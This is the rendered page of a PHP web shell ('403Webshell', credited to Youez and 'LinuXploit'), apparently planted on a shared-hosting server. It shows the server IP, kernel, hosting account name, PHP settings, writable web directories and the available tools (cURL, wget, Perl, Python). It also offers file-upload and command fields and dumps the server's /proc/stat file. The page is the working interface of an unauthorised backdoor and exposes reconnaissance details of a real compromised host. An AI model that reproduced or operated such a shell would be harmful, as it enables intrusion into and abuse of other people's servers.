403Webshell
Server IP : 162.213.251.208  /  Your IP : 3.137.168.153
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : jmoroovq ( 1890)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/stat
cpu  10324430560 145972436 3156870296 6582094613 1129877378 286741438 313615685 1412733986 0 0
cpu0 431418411 6109656 131636610 274842191 47609538 9897030 12845175 58274603 0 0
cpu1 433478337 6092299 131997355 273219611 47623491 9813610 12141580 57885284 0 0
cpu2 433979931 6115071 132180292 272691517 47632605 9813789 11952344 57790764 0 0
cpu3 434566484 6123255 132084824 272330519 47744902 9817732 11662612 57686874 0 0
cpu4 437034730 6134385 131865144 271883511 48014846 9823992 9483306 57461826 0 0
cpu5 436478446 6150879 132106281 271649487 47745963 10139177 10106959 57016356 0 0
cpu6 437293391 6122518 131959449 271647742 48014189 9815712 9390253 57375214 0 0
cpu7 433080394 6120007 132123965 272373356 47400339 10052081 12991843 57590577 0 0
cpu8 436918711 6109299 132069317 271549307 47925529 9822323 9870364 57348198 0 0
cpu9 433317191 6087087 131477089 274078891 48772274 9878806 9964069 58458164 0 0
cpu10 436896596 6109893 131953741 271611388 47892193 10016471 9832788 57259724 0 0
cpu11 421610996 5991184 134427813 274799356 46031807 11897197 20205029 56894393 0 0
cpu12 436928051 6102478 131904279 271800956 47920564 9789915 9817727 57277584 0 0
cpu13 436599425 6117355 131966040 271966203 47962916 9803884 9829144 57287111 0 0
cpu14 436782583 6140601 131947128 271877463 47929526 9765727 9820800 57227906 0 0
cpu15 437169731 6147025 131939014 271540305 47878062 9810525 9796573 57191244 0 0
cpu16 436706959 6115182 131879726 271988384 47902689 9830544 9843321 57280840 0 0
cpu17 436785231 6127543 131831530 272057629 47877262 9801015 9799286 57256446 0 0
cpu18 436568309 6143570 131897448 272219365 47848010 9783779 9804450 57238105 0 0
cpu19 436612108 6076312 131792749 272375254 47834804 9800472 9781540 57259438 0 0
cpu20 437571760 6135844 131766322 271851420 47937031 9752631 9254055 57149985 0 0
cpu21 354689856 5484367 133311111 303319183 39665968 11239430 67683525 63323514 0 0
cpu22 437144007 6139216 131707664 272353283 47929527 9753731 9238585 57203725 0 0
cpu23 394798910 5977396 119045395 286068281 38783332 56821855 8500347 85996101 0 0
intr 52507051750 196 9 0 0 645 0 0 0 0 0 0 0 15 0 9313937 0 0 0 0 0 0 0 0 0 0 0 0 4276550693 0 2389485538 1145063560 0 1133118010 1202177170 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 289798492394
btime 1722169422
processes 612073598
procs_running 25
procs_blocked 1
softirq 169252054292 1 589844630 307641 3928968168 3762426189 0 853390517 2649468415 7616921 2841209154

Youez - 2016 - github.com/yon3zu
LinuXploit